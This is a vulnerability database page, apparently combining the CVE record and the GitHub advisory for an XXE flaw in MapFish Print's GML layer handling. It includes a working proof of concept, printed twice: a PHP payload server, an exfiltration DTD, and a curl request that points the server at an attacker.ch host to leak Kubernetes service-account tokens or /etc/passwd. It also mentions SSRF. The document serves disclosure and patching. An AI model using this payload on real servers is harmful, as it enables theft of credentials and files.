              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.0.5"
            }
          ]
        },
        {
          "product": "org.mapfish.print.print-servlet",
          "vendor": "mapfish",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.28.30"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.29.0, \u003c 3.30.32"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.31.0, \u003c 3.31.24"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.32.0, \u003c 3.33.16"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.0.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5."
    }
  ],
  "id": "CVE-2026-55848",
  "lastModified": "2026-09-09T21:09:13.080",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55848",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-31T14:07:17.404690Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-28T23:17:08.013",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/pull/4212"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/pull/4215"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/pull/4216"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/pull/4217"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/pull/4219"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/pull/4221"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-611"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-5V29-34H8-V68R

Vulnerability from github – Published: 2026-08-28 22:33 – Updated: 2026-08-28 22:33

Summary

MapFish Print has XXE that allows reading arbitrary files of certain types

Details

Summary

XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.

https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507

Details

To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.

The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.

PoC

Host this php file somewhere as xxe.php:

<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
 <!ENTITY % payload SYSTEM \"file://$p\">
 <!ENTITY % dtd SYSTEM \"$u\">
 %dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";

and beneath host this "evil.dtd"

<!ENTITY % exfil "<!ENTITY % error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;

Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)

curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'

Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.

It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://

Impact

disclose local files. blind(ish) SSRF (depends on the servers response data)

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.mapfish.print:print-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.28.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.mapfish:print.print-servlet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.28.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.mapfish.print:print-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.29.0"
            },
            {
              "fixed": "3.30.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.mapfish.print:print-servlet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.29.0"
            },
            {
              "fixed": "3.30.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.mapfish.print:print-servlet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.31.0"
            },
            {
              "fixed": "3.31.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.mapfish.print:print-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.32.0"
            },
            {
              "fixed": "3.33.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.mapfish.print:print-servlet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.32.0"
            },
            {
              "fixed": "3.33.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.mapfish.print:print-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.34.0"
            },
            {
              "fixed": "4.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.mapfish.print:print-servlet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.34.0"
            },
            {
              "fixed": "4.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T22:33:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nXXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.\n\nhttps://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507\n\n### Details\nTo trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.\n\nThe 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.\n\n### PoC\nHost this php file somewhere as xxe.php:\n\n```\n\u003c?php\n$p=$_GET[\u0027p\u0027];\n$d=dirname($_SERVER[\u0027SCRIPT_NAME\u0027]);\n$u=(empty($_SERVER[\u0027HTTPS\u0027])?\u0027http\u0027:\u0027https\u0027).\"://{$_SERVER[\u0027HTTP_HOST\u0027]}$d/evil.dtd\";\nheader(\u0027Content-Type: application/xml\u0027);\necho \"\u003c?xml version=\\\"1.0\\\"?\u003e\n\u003c!DOCTYPE x [\n \u003c!ENTITY % payload SYSTEM \\\"file://$p\\\"\u003e\n \u003c!ENTITY % dtd SYSTEM \\\"$u\\\"\u003e\n %dtd;\n]\u003e\n\u003cwfs:FeatureCollection xmlns:wfs=\\\"http://www.opengis.net/wfs\\\" xmlns:gml=\\\"http://www.opengis.net/gml\\\"\u003e\n\u003c!-- \".str_repeat(\u0027x\u0027,200).\" --\u003e\n\u003cgml:boundedBy\u003e\u003cgml:null\u003eunknown\u003c/gml:null\u003e\u003c/gml:boundedBy\u003e\n\u003c/wfs:FeatureCollection\u003e\";\n```\n\nand beneath host this \"evil.dtd\"\n\n`\u003c!ENTITY % exfil \"\u003c!ENTITY \u0026#37; error SYSTEM \u0027file:///xxe-exfil/%payload;\u0027\u003e\"\u003e\n%exfil;\n%error;`\n\nNow send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)\n\n`curl -sk \u0027https://mapfish/api/print3/print/mapviewer/buildreport.pdf\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"layout\":\"1. A4 landscape\",\"attributes\":{\"printDate\":\"a\",\"url\":\"\",\"copyright\":\"\",\"qrimage\":\"\",\"map\":{\"projection\":\"EPSG:2056\",\"rotation\":0,\"dpi\":96,\"center\":[2600000,1200000],\"scale\":100000,\"layers\":[{\"type\":\"gml\",\"url\":\"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token\"}]}},\"outputFormat\":\"pdf\"}\u0027`\n\nIts also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.\n\nIt is actually also possible to trigger an SSRF and request internal URLs if you\u0027d change the file:// prefix in the dtd to https:// \n\n### Impact\ndisclose local files. blind(ish) SSRF (depends on the servers response data)",
  "id": "GHSA-5v29-34h8-v68r",
  "modified": "2026-08-28T22:33:35Z",
  "published": "2026-08-28T22:33:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/pull/4221"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/pull/4219"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/pull/4217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/pull/4216"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/pull/4215"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/pull/4212"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mapfish/mapfish-print"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MapFish Print has XXE that allows reading arbitrary files of certain types"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55848 (GCVE-0-2026-55848)

FKIE_CVE-2026-55848

GHSA-5V29-34H8-V68R

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour